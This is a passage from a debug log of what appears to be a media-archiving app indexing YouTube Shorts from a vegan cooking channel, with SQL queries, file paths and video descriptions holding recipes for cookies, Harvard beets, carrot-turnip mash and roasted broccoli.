egg and whisk until its a thick, creamy mixture.\nIn a separate smaller bowl, combine the oat and almond flour, plus the baking powder, soda and salt.\nAdd the dry ingredients into the wet mixture and fold until it forms a very sticky dough. Add your choc chips and raisins until just combined.\nScoop about 2 tbsp sized dollops of dough onto the baking tray, about 2” apart. Try and form them so they’re round-ish. With dampened fingers, gently press into the tops of the cookies to slightly flatten them.\nBake for 10 to 12 minutes, remove from oven and place try on cooling rack. They will seem undercooked but let cool in the pan for 15-20 minutes. They will firm up until they’re perfectly soft with delicately crisped edges. ENJOY!\n\n#steamyvegankitchen #steamyvegan #healthybaking #healthycookies #healthytreats #chocolate #chocolatechip #chocolatechipcookies #veganbaking #food52 #food52grams #food52community #thefeedfeed #thefeedfeedbaking #thefeedfeedvegan #thefeedfeedglutenfree #thefeefeedchocolate #whatscooking", "The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts", "e88e4e4d-49e5-4a8b-9292-e51898baaddb", 1, [], 59, false, "fUSRzUa5Sp4", "https://www.youtube.com/shorts/fUSRzUa5Sp4", 197, "/downloads/downloads/alec/Steamy Vegan/2022-12-01 The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts/The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts [fUSRzUa5Sp4].NA", false, false, true, 0, ~U[2022-12-01 23:31:09Z], ~U[2026-03-22 03:26:37Z], ~U[2026-03-22 03:26:37Z], "WORLD’S BEST CHOCOLATE CHIP COOKIE! 🍪 Have you been looking for the best vegan chocolate chip cookie recipe? Look no further as WE GOT YOU COVERED with the cookie recipe of your dreams. 😌 \n\nThese Healthy Vegan and Gluten-Free Chocolate Chip Cookies are soft and gooey in the middle, crispy on the edges and have the most buttery 🧈 velvety smooth taste and texture you’ll EVER try. 🤤 They’re also refined sugar free, oil-free, nut-free optional, and made mostly from whole plant foods! 🌱\n\nFULL RECIPE VIDEO ON OUR CHANNEL ➡️ THE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪Oil-free, refined sugar-free, gluten-free\nhttps://youtu.be/6BCUlPOw_Mw\n\nTHE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIES \n1/2 cup creamy nut/seed butter (any variety will work)\n1/4 cup coconut sugar (or brown)\n1/4 cup maple syrup\n1 tsp vanilla extract\n1 flax egg (1 tbsp ground flax seeds + 3 tbsp water, let sit 10 mins)\n2 tbsp almond flour\n1/2 cup + 2 tsp oat flour\n1/2 tsp each baking powder and baking soda\nheaping 1/3 cup vegan chocolate chips OR a mix of raisins and choc chips\n1/4 tsp salt\n\nPreheat oven to 350° F, set oven rack to middle and line a baking sheet with parchment paper or silicone mat.\nIn a large mixing bowl, add the nut/seed butter, coconut sugar, maple syrup, vanilla and flax egg and whisk until its a thick, creamy mixture.\nIn a separate smaller bowl, combine the oat and almond flour, plus the baking powder, soda and salt.\nAdd the dry ingredients into the wet mixture and fold until it forms a very sticky dough. Add your choc chips and raisins until just combined.\nScoop about 2 tbsp sized dollops of dough onto the baking tray, about 2” apart. Try and form them so they’re round-ish. With dampened fingers, gently press into the tops of the cookies to slightly flatten them.\nBake for 10 to 12 minutes, remove from oven and place try on cooling rack. They will seem undercooked but let cool in the pan for 15-20 minutes. They will firm up until they’re perfectly soft with delicately crisped edges. ENJOY!\n\n#steamyvegankitchen #steamyvegan #healthybaking #healthycookies #healthytreats #chocolate #chocolatechip #chocolatechipcookies #veganbaking #food52 #food52grams #food52community #thefeedfeed #thefeedfeedbaking #thefeedfeedvegan #thefeedfeedglutenfree #thefeefeedchocolate #whatscooking", "The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts", 1, 59, false, "fUSRzUa5Sp4", "https://www.youtube.com/shorts/fUSRzUa5Sp4", "/downloads/downloads/alec/Steamy Vegan/2022-12-01 The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts/The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts [fUSRzUa5Sp4].NA", true, ~U[2022-12-01 23:31:09Z]] 20:26:37.484 [debug] QUERY OK source="sources" db=0.4ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:37.485 [debug] QUERY OK source="media_profiles" db=0.6ms idle=9.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:37.486 [debug] QUERY OK source="media_items" db=0.3ms idle=10.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [586] 20:26:37.486 [debug] Current batch of media processed. Will check again in 1000ms 20:26:38.487 [debug] Current batch of media processed. Will check again in 1000ms 20:26:39.488 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ Rich, red and ridiculously yummy! This sweet ‘n sour side is a total knockout 🤤 \n\nHave you ever tried Harvard Beets? Comment your answer below! ⬇️ \n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nHOW TO MAKE HARVARD BEETS\n2 cans whole baby beets\n2/3 cup reserved canned beet liquid\n1/2 cup white vinegar\n3 tbsp coconut sugar (or brown, white)\n3 tbsp vegan butter\n2 tbsp cornstarch or 1.5 tbsp tapioca starch\n1/2 tsp salt\n\nTo a medium sized saucepan, add the reserved beet liquid, vinegar, sugar, starch and butter and bring to a simmer on medium heat, stirring frequently until the starch has dissolved and it begins to thicken. Once bubbling and thickened, add the beets. Stir and let simmer for about 10 minutes until the beets are heated through. Remove from stove, serve and enjoy! (and pour that sauce on EVERYTHING!)\n\nWhat’s your fave side dish that you’d like me to veganize? Let me know! ⬇️\n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #vegansofig #vegansofinstagram #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #feedfeedglutenfree #veganglutenfree #harvardbeets #beets #droppingmadbeets #beetroot", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-28 SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts/SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts [ywt_u78FrnE].NA", "id" => "ywt_u78FrnE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/ywt_u78FrnE", "playlist_index" => 198, "timestamp" => 1669602294, "title" => "SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts", "upload_date" => "20221128"} 20:26:39.489 [debug] QUERY OK source="sources" db=0.5ms idle=905.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:39.490 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=906.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:39.493 [debug] QUERY OK source="media_items" db=2.3ms idle=907.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-28 02:24:54Z], 1] 20:26:39.495 [debug] QUERY OK source="media_items" db=1.4ms idle=910.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ Rich, red and ridiculously yummy! This sweet ‘n sour side is a total knockout 🤤 \n\nHave you ever tried Harvard Beets? Comment your answer below! ⬇️ \n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nHOW TO MAKE HARVARD BEETS\n2 cans whole baby beets\n2/3 cup reserved canned beet liquid\n1/2 cup white vinegar\n3 tbsp coconut sugar (or brown, white)\n3 tbsp vegan butter\n2 tbsp cornstarch or 1.5 tbsp tapioca starch\n1/2 tsp salt\n\nTo a medium sized saucepan, add the reserved beet liquid, vinegar, sugar, starch and butter and bring to a simmer on medium heat, stirring frequently until the starch has dissolved and it begins to thicken. Once bubbling and thickened, add the beets. Stir and let simmer for about 10 minutes until the beets are heated through. Remove from stove, serve and enjoy! (and pour that sauce on EVERYTHING!)\n\nWhat’s your fave side dish that you’d like me to veganize? Let me know! ⬇️\n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #vegansofig #vegansofinstagram #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #feedfeedglutenfree #veganglutenfree #harvardbeets #beets #droppingmadbeets #beetroot", "SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts", "338111df-c7d0-4dee-abab-23a084fa11c1", 1, [], 60, false, "ywt_u78FrnE", "https://www.youtube.com/shorts/ywt_u78FrnE", 198, "/downloads/downloads/alec/Steamy Vegan/2022-11-28 SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts/SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts [ywt_u78FrnE].NA", false, false, true, 0, ~U[2022-11-28 02:24:54Z], ~U[2026-03-22 03:26:39Z], ~U[2026-03-22 03:26:39Z], "SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ Rich, red and ridiculously yummy! This sweet ‘n sour side is a total knockout 🤤 \n\nHave you ever tried Harvard Beets? Comment your answer below! ⬇️ \n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nHOW TO MAKE HARVARD BEETS\n2 cans whole baby beets\n2/3 cup reserved canned beet liquid\n1/2 cup white vinegar\n3 tbsp coconut sugar (or brown, white)\n3 tbsp vegan butter\n2 tbsp cornstarch or 1.5 tbsp tapioca starch\n1/2 tsp salt\n\nTo a medium sized saucepan, add the reserved beet liquid, vinegar, sugar, starch and butter and bring to a simmer on medium heat, stirring frequently until the starch has dissolved and it begins to thicken. Once bubbling and thickened, add the beets. Stir and let simmer for about 10 minutes until the beets are heated through. Remove from stove, serve and enjoy! (and pour that sauce on EVERYTHING!)\n\nWhat’s your fave side dish that you’d like me to veganize? Let me know! ⬇️\n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #vegansofig #vegansofinstagram #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #feedfeedglutenfree #veganglutenfree #harvardbeets #beets #droppingmadbeets #beetroot", "SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts", 1, 60, false, "ywt_u78FrnE", "https://www.youtube.com/shorts/ywt_u78FrnE", "/downloads/downloads/alec/Steamy Vegan/2022-11-28 SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts/SUPER SIMPLE SIDES Ep. 6 — HARVARD BEETS ♥️ #youtubeshorts #shorts [ywt_u78FrnE].NA", true, ~U[2022-11-28 02:24:54Z]] 20:26:39.495 [debug] QUERY OK source="sources" db=0.2ms idle=413.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:39.496 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:39.497 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [587] 20:26:39.497 [debug] Current batch of media processed. Will check again in 1000ms 20:26:40.498 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT 🥕 TURNIP MASH ✨ A holiday classic in my household for years, this yummy mash is the definition of a super simple side dish! \n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nIt’s also perfect for using up old, ‘ugly’ or rescued produce in your fridge! @pekoproduce is my go to for rescued produce that gets a second life! Check out the link in my bio to get $5 off a box of produce delivered right to your door! 📦 \n\nCLASSIC CARROT & TURNIP MASH 🥕🥕\n2 large turnips, peeled and chopped\n5-6 medium carrots, peeled and chopped\n2-3 tbsp vegan butter\n1 tsp poultry seasoning (or any other herb you like)\nsalt to taste\nAdd the chopped turnips and carrots to a large pot, cover with water and boil for 30 minutes, or until fork tender. Drain the water and return to the pot. Add the vegan butter, salt and seasonings and mash until desired consistency. Serve and enjoy!\n\nSave this recipe for later and follow @steamyvegankitchen for more easy and delish plant-based recipes! 🥕🥕\n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #vegansofig #vegansofinstagram #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #feedfeedglutenfree #veganglutenfree #feedfeedvegan #f52grams #f52gram #feedfeed", "duration" => 57, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-25 SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕/SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕 [uKLVJJqtzAY].NA", "id" => "uKLVJJqtzAY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uKLVJJqtzAY", "playlist_index" => 199, "timestamp" => 1669395932, "title" => "SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕", "upload_date" => "20221125"} 20:26:40.499 [debug] QUERY OK source="sources" db=0.5ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:40.500 [debug] QUERY OK source="sources" db=0.2ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:40.502 [debug] QUERY OK source="media_items" db=1.7ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-25 17:05:32Z], 1] 20:26:40.503 [debug] QUERY OK source="media_items" db=1.0ms idle=1004.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT 🥕 TURNIP MASH ✨ A holiday classic in my household for years, this yummy mash is the definition of a super simple side dish! \n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nIt’s also perfect for using up old, ‘ugly’ or rescued produce in your fridge! @pekoproduce is my go to for rescued produce that gets a second life! Check out the link in my bio to get $5 off a box of produce delivered right to your door! 📦 \n\nCLASSIC CARROT & TURNIP MASH 🥕🥕\n2 large turnips, peeled and chopped\n5-6 medium carrots, peeled and chopped\n2-3 tbsp vegan butter\n1 tsp poultry seasoning (or any other herb you like)\nsalt to taste\nAdd the chopped turnips and carrots to a large pot, cover with water and boil for 30 minutes, or until fork tender. Drain the water and return to the pot. Add the vegan butter, salt and seasonings and mash until desired consistency. Serve and enjoy!\n\nSave this recipe for later and follow @steamyvegankitchen for more easy and delish plant-based recipes! 🥕🥕\n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #vegansofig #vegansofinstagram #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #feedfeedglutenfree #veganglutenfree #feedfeedvegan #f52grams #f52gram #feedfeed", "SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕", "210ead31-c7cc-4bd1-b57a-c68955412646", 1, [], 57, false, "uKLVJJqtzAY", "https://www.youtube.com/shorts/uKLVJJqtzAY", 199, "/downloads/downloads/alec/Steamy Vegan/2022-11-25 SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕/SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕 [uKLVJJqtzAY].NA", false, false, true, 0, ~U[2022-11-25 17:05:32Z], ~U[2026-03-22 03:26:40Z], ~U[2026-03-22 03:26:40Z], "SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT 🥕 TURNIP MASH ✨ A holiday classic in my household for years, this yummy mash is the definition of a super simple side dish! \n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nIt’s also perfect for using up old, ‘ugly’ or rescued produce in your fridge! @pekoproduce is my go to for rescued produce that gets a second life! Check out the link in my bio to get $5 off a box of produce delivered right to your door! 📦 \n\nCLASSIC CARROT & TURNIP MASH 🥕🥕\n2 large turnips, peeled and chopped\n5-6 medium carrots, peeled and chopped\n2-3 tbsp vegan butter\n1 tsp poultry seasoning (or any other herb you like)\nsalt to taste\nAdd the chopped turnips and carrots to a large pot, cover with water and boil for 30 minutes, or until fork tender. Drain the water and return to the pot. Add the vegan butter, salt and seasonings and mash until desired consistency. Serve and enjoy!\n\nSave this recipe for later and follow @steamyvegankitchen for more easy and delish plant-based recipes! 🥕🥕\n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #vegansofig #vegansofinstagram #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #feedfeedglutenfree #veganglutenfree #feedfeedvegan #f52grams #f52gram #feedfeed", "SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕", 1, 57, false, "uKLVJJqtzAY", "https://www.youtube.com/shorts/uKLVJJqtzAY", "/downloads/downloads/alec/Steamy Vegan/2022-11-25 SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕/SUPER SIMPLE SIDES Ep. 5 — CLASSIC CARROT & TURNIP MASH 🥕🥕 [uKLVJJqtzAY].NA", true, ~U[2022-11-25 17:05:32Z]] 20:26:40.503 [debug] QUERY OK source="sources" db=0.3ms idle=419.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:40.504 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:40.505 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [588] 20:26:40.505 [debug] Current batch of media processed. Will check again in 1000ms 20:26:41.506 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 If you can’t get your kids to eat broccoli, I promise this will be a total game changer for you!\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nCheesy, garlicky and tangy, this broccoli is an umami FLAVOR bomb 💣 7 ingredients to heaven! \n\nTAHINI PARMESAN ROASTED BROCCOLI 🥦 \n2 crowns broccoli, cut into smaller florets (4 to 5 cups)\n3 tbsp tahini\n3 tbsp lemon juice\n2 tbsp tamari or GF soy sauce\n3 cloves garlic, minced\n1/3 cup vegan parmesan cheese\nblack pepper to 